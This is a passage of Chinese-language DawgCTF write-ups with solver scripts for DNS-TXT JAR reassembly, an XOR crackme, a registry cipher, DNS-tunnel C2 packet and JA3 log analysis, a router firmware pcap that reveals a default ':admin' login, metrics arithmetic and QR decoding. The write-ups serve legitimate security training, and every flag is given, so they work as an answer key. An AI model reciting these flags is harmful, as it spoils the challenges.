decode_candidates(combined, "numbered_subdomains_combined")
# 3) 根域所有 TXT 直接拼
root_txt_key = f"{DOMAIN}:TXT"
if root_txt_key in found:
combined_root = "".join(found[root_txt_key])
decode_candidates(combined_root, "root_txt_combined")
def main() -> int:
domain = DOMAIN
if len(sys.argv) > 1:
domain = sys.argv[1].strip()
print(f"[*] Collecting DNS data from: {domain}")
found = collect_dns_chunks(domain)
if not found:
print("[-] 没收集到任何可用 DNS 记录。")
print(" 可能题目不是走 DNS TXT,或者你的网络对该域名解析受限。")
return 1
write_report(found)
attempt_reassembly(found)
print(f"[+] Done. Results saved to: {OUTDIR.resolve()}")
print("[*] 下一步建议:")
print(" 1. 看 report.txt")
print(" 2. 对生成的 .bin 跑 file / strings")
print(" 3. 如果拿到 ELF/PE,再进 Ghidra/IDA")
return 0
if __name__ == "__main__":
raise SystemExit(main())[data-needs-splitting.umbccd.net:TXT]
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根域 TXT 明显就是按两位编号分片的 base64/JAR
每段前两位是分片编号 00..16
按编号排序后,把后面的内容拼起来
拼出来是一整段 base64
base64 解码后得到一个 JAR/ZIP
JAR 里有:
Loader.classMain.classassets/file.dat
assets/file.dat` 其实也是一个 Java class,反编译后是 `Validatorvalidate() 会把输入逐字符做异或,然后把结果整数拼成字符串,与目标串比较,逆回去就得到 flag
import re
import base64
import zipfile
import io
from pathlib import Path
from functools import lru_cache
# 读取你贴出来的 TXT 结果
text = Path("dns.txt").read_text(encoding="utf-8", errors="ignore")
# 提取两位编号 + 分片内容
parts = {}
for line in text.splitlines():
line = line.strip()
m = re.match(r"^(\d{2})(.+)$", line)
if m:
parts[int(m.group(1))] = m.group(2)
# 按编号拼接
assembled_b64 = "".join(parts[i] for i in sorted(parts))
print("[+] total chunks:", len(parts))
print("[+] base64 length:", len(assembled_b64))
# 解码得到 jar
jar_bytes = base64.b64decode(assembled_b64)
Path("out.jar").write_bytes(jar_bytes)
print("[+] wrote out.jar")
# 看 jar 内容
zf = zipfile.ZipFile(io.BytesIO(jar_bytes))
print("[+] jar entries:", zf.namelist())
# 提取 file.dat
file_dat = zf.read("assets/file.dat")
Path("file.dat").write_bytes(file_dat)
print("[+] wrote file.dat")
# 下面是根据反编译得到的常量
target = "145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169"
a = 2194307438957234483
b = 148527584754938272
keys = [((a >> (16 * i)) & 0xffff) ^ ((b >> (16 * i)) & 0xffff) for i in range(4)]
print("[+] xor keys:", keys)
# 逆向:validate() 里是把 (ord(ch) ^ key[idx%4]) 的十进制直接 append 到字符串里
@lru_cache(None)
def dfs(pos, idx):
if pos == len(target):
return [""]
res = []
for ch in range(32, 127): # 可打印字符
val = ch ^ keys[idx % 4]
s = str(val)
if target.startswith(s, pos):
for tail in dfs(pos + len(s), idx + 1):
res.append(chr(ch) + tail)
return res
sol = dfs(0, 0)
print("[+] solutions:", len(sol))
for s in sol:
if s.startswith("DawgCTF{") and s.endswith("}"):
print("[FLAG]", s)DawgCTF{J@v@_My_B3l0v3d}
Fwn
Gen-Z Found My Registry
题目给了一份 Windows 注册表导出文件 chal.reg,说有人“把我的注册表变成了 String Cheese”,让我们找出他做的所有改动。
一开始很容易被带偏到:
- 恶意服务
- 持久化项
- 异常
ImagePath MALWARESVC
这些确实很可疑,但都不是最终 flag。
这题真正的关键在两处异常服务名和参数:
+7-6
以及它们下面的提示字段:
evensodds
这其实已经在提示我们:
- 偶数位做一种偏移
- 奇数位做另一种偏移
在注册表里可以找到一组很奇怪的键值:
- 值名是数字
1到26 - 值内容都是单个字符
类似这种形式:
"1"="J"
"2"="Z"
"3"="}"
...把这些字符按编号顺序拼起来,得到:
JZ}`IMLtwn9,tX6_emn,ea7o9v这显然不是正常明文,说明还需要进一步还原。
题目里的两个假服务:
+7对应evens-6对应odds
意思就是:
- 偶数位字符需要 +7
- 奇数位字符需要 -6
对拼出来的那串字符逐位处理:
- 第 1 位、3 位、5 位……减 6
- 第 2 位、4 位、6 位……加 7
exp:
from pathlib import Path
import re
text = Path("chal.reg").read_text("utf-16")
# 处理 .reg 续行
lines = text.splitlines()
merged = []
buf = ""
for line in lines:
if buf:
line = buf + line.lstrip()
buf = ""
if line.endswith("\\"):
buf = line[:-1]
continue
merged.append(line)
pairs = {}
for line in merged:
line = line.strip()
if not line:
continue
m = re.match(r'"(\d+)"="(.)"$', line)
if m:
idx = int(m.group(1))
ch = m.group(2)
pairs[idx] = ch
encoded = "".join(pairs[i] for i in sorted(pairs))
print("encoded =", encoded)
def shift_printable(c, delta):
o = ord(c)
return chr((o - 32 + delta) % 95 + 32)
out = []
for i, c in enumerate(encoded, start=1):
if i % 2 == 1:
out.append(shift_printable(c, -6)) # odds
else:
out.append(shift_printable(c, +7)) # evens
flag = "".join(out)
print("flag =", flag)DawgCTF{qu33n_0f_th3_h1v3}
I Love Bacon!
异常包非常明显。
这份 pcap 里绝大多数都是伪装成 DNS 的隧道流量:
- 请求是随机样子的子域名
- 响应是 TXT 记录
- 都像高熵编码数据
在 Wireshark 里可以直接这样筛:dns.resp.ttl == 1337
真正“异常中的异常”是 TTL = 1337 的那 3 组包。它们对应的包号是:
- 533 / 534
- 909 / 910
- 1823 / 1824
其中最关键的是响应包:
- 534
- 910
- 1824
这三组里的查询名 / TXT 内容不是普通随机数据,而是可直接还原成 ASCII:
IRQXOZ2DKRDHW4ZRPJ5GY2LO→DawgCTF{s1zzlinL5ZXKY3DOVWDG3TU→_succul3ntL5RTEX3CGRRW63T5→_c2_b4con}
拼起来就是 flag:
DawgCTF{s1zzlin_succul3nt_c2_b4con}The Step After the PCAP
import pandas as pd, re, pathlib
text = pathlib.Path('/mnt/data/network_forensics.log').read_text()
blocks = text.split('------------------------------------------------------------')
rows=[]
for b in blocks:
if 'Dst IP: 45.76.123.45' in b and 'Payload Fragment:' in b:
mtime = re.search(r'Timestamp:\s*(.+)', b)
mja3 = re.search(r'TLS JA3 Hash:\s*(.+)', b)
mfrag = re.search(r'Payload Fragment:\s*(.+)', b)
mflow = re.search(r'--- Flow Record #(\d+)', b)
if mtime and mja3 and mfrag:
rows.append((mtime.group(1).strip(), mflow.group(1), mja3.group(1).strip(), mfrag.group(1).strip()))
df = pd.DataFrame(rows, columns=['ts','flow','ja3','frag'])
df['dt']=pd.to_datetime(df['ts'].str.replace(' UTC','', regex=False))
df = df.sort_values('dt')
df[df['ja3']=='d2b4c6a8f0e1d3c5b7a9f2e4d6c8b0a1'][['flow','ts','frag']]同一个目的 IP 45.76.123.45:443,同一个 JA3 d2b4...,而且每条都有 5 字符分片。现在就差把它们全部按时间拼起来。
筛出来的是同一目的地址 45.76.123.45:443、同一 JA3 d2b4c6a8f0e1d3c5b7a9f2e4d6c8b0a1 的那组分片,然后按时间戳升序排。答案是:
DawgCTF{HBRPO_IG8F1_CBFNO_6B9M8_0O2RA_K1VRJ_NVGFY_GWWQC_38HYF_9SXME_COSFO_GYR3X_KXWNR_EK8PK_3YR9O_UDOCU_ZRENU_N5Z3J_QIP98_Q1ZXO_I65FD_HJK1E_YY37Q_9AH8R_VHS1K_3AQ6L_6GT6M_JXK87_AU5BH_XTPDP_FF5E8_II49K_Q71N8_MTZX2_72HPO_EVB9O_OAEDO_ECVE6_PR5N8_I4P40_MGG1W1}
Modem Metamorphosis
打开 morph.pcap 之后,很容易发现主要是在访问:
192.168.1.1:80
也就是一个路由器管理后台。
而且最开始访问根目录时,服务端返回了:
WWW-Authenticate: Basic realm="WRT610N"
这已经直接把机型关键字给出来了:WRT610N。
另外请求头里有:
Authorization: Basic OmFkbWlu
把它 base64 解一下是:
:admin
说明当时是用空用户名、密码 admin 登录的路由器后台。
继续看 HTTP 页面流量,能看到用户访问了:
/Management.asp/Upgrade.asp
在返回的 HTML 里,顶部有一段很关键:
Firmware Version: 1.00.00 B18WRT610N
所以原厂固件版本就是:
- 1.00.00 B18
在管理页面的 HTML 里还能看到一个很关键的备份按钮链接:
WRT610NV1_v1.00.00.cfg
这个信息很有用,因为它把版本代号补全了:
- WRT610NV1
也就是说不是泛泛的 WRT610N,而是 WRT610N V1。
最关键的是升级动作:
POST /upgrade.cgi
这是一个 multipart/form-data 上传请求,里面能直接看到上传的固件文件名:
openwrt-24.10.0-bcm47xx-generic-linksys_wrt610n-v1-squashfs.bin
从这个文件名可以直接拆出:
- 新固件名:OpenWrt
- 新固件版本:24.10.0
并且它也再次说明目标设备是:
linksys_wrt610n-v1
从页面资源和设备命名看,设备是 Linksys WRT610N。
虽然页面里也能看到 Cisco 的素材,但这个型号通常题目里会按 Linksys 来写厂家字段。
题目格式要求用下划线分隔字段,所以原固件版本里的空格一般去掉,写成:
1.00.00B18
最终 flag:
DawgCTF{Linksys_WRT610NV1_1.00.00B18_OpenWrt_24.10.0}
Let's Avoid Doing Math
题目给了一份日志 threat_depth_analysis.log,每条记录都有两列核心信息:
Known Threat Depth:真实分类Detected Threat Depth:工具判定分类
总共 120 个样本,分类只有 3 种:
minormediummajor
题目要求输出:
- 准确率
- 各分类的假阳性率 FPR
- 各分类的假阴性率 FNR
并且要“for each classification in growing order of importance”,也就是按重要性从低到高:
minor -> medium -> major后来验证正确答案后,可以确定这里的口径是:
把每个分类分别看成 one-vs-rest 的二分类问题,然后对每个分类依次输出:
accuracy, FPR, FNR所以最后一共是 9 个数。
把 120 条样本按真实值和预测值整理,得到:
真实 minor共 40 条:
- 预测为 minor:38
- 预测为 medium:0
- 预测为 major:2
真实 medium共 40 条:
- 预测为 minor:3
- 预测为 medium:30
- 预测为 major:7
真实 major共 40 条:
- 预测为 minor:1
- 预测为 medium:8
- 预测为 major:31
所以三分类混淆矩阵可以写成:
Pred minor Pred medium Pred major
True minor 38 0 2
True medium 3 30 7
True major 1 8 31(1)minor 作为正类
把 minor 当成正类,medium+major 当成负类。
- TP = 38
- FN = 2
- FP = 4
(真实不是 minor,但被判成 minor:3 个 medium + 1 个 major) - TN = 76
因此:
- Accuracy =
(TP + TN) / 120 = (38 + 76) / 120 = 114 / 120 = 0.95 - FPR =
FP / (FP + TN) = 4 / 80 = 0.05 - FNR =
FN / (TP + FN) = 2 / 40 = 0.05
得到:
0.95,0.05,0.05(2)medium 作为正类
把 medium 当成正类,minor+major 当成负类。
- TP = 30
- FN = 10
(3 个被判成 minor,7 个被判成 major) - FP = 8
(真实不是 medium,但被判成 medium:0 个 minor + 8 个 major) - TN = 72
因此:
- Accuracy =
(30 + 72) / 120 = 102 / 120 = 0.85 - FPR =
8 / 80 = 0.1 - FNR =
10 / 40 = 0.25
得到:
0.85,0.1,0.25(3)major 作为正类
把 major 当成正类,minor+medium 当成负类。
- TP = 31
- FN = 9
(1 个被判成 minor,8 个被判成 medium) - FP = 9
(真实不是 major,但被判成 major:2 个 minor + 7 个 medium) - TN = 71
因此:
- Accuracy =
(31 + 71) / 120 = 102 / 120 = 0.85 - FPR =
9 / 80 = 0.1125 - FNR =
9 / 40 = 0.225
得到:
0.85,0.1125,0.225按 minor, medium, major 顺序,每个分类输出:
accuracy, FPR, FNRDawgCTF{0.95,0.05,0.05,0.85,0.1,0.25,0.85,0.1125,0.225}
Stomach Bug
题目给了一个地址,访问后服务端会“不断往外吐东西”。
实际下载下来后,发现它并不是普通网页内容,而是在重复输出一段十六进制文本。
查看下载到的内容,最关键的特征有两个:
- 开头是
89504e470d0a1a0a - 结尾能看到
49454e44ae426082
这两个分别是 PNG 文件头 和 PNG 文件尾 IEND。
也就是说,服务端并不是在吐普通文本,而是在反复输出同一张 PNG 图片的十六进制表示。
而且在同一个文件里,第一张 PNG 结束后,又重新从 89504e47... 开始,说明这是循环输出,不用等它下完。
下载文件里的格式大致是这样:
|000|89504e47...
|001|....
...
|161|....49454e44ae426082所以做法就是:
- 只取第一组
|000|到|161| - 去掉每行前面的
|编号| - 把后面的十六进制拼起来
- 转回二进制,得到 PNG
重组后得到第一张图:
把第一张 PNG 打开后,可以看到它本身就是一个大二维码。
扫描这个二维码后,得到的不是最终 flag,而是另一张 PNG 图像。
把那张图保存后,就是第二张二维码:
第二张图继续扫码,得到一串 base64:
RGF3Z0NURnsxX0JMNE0zX1RIMFMzX0g0Wk00VF9UUjVDSzNSNX0=对它做 base64 解码:
DawgCTF{1_BL4M3_TH0S3_H4ZM4T_TR5CK3R5}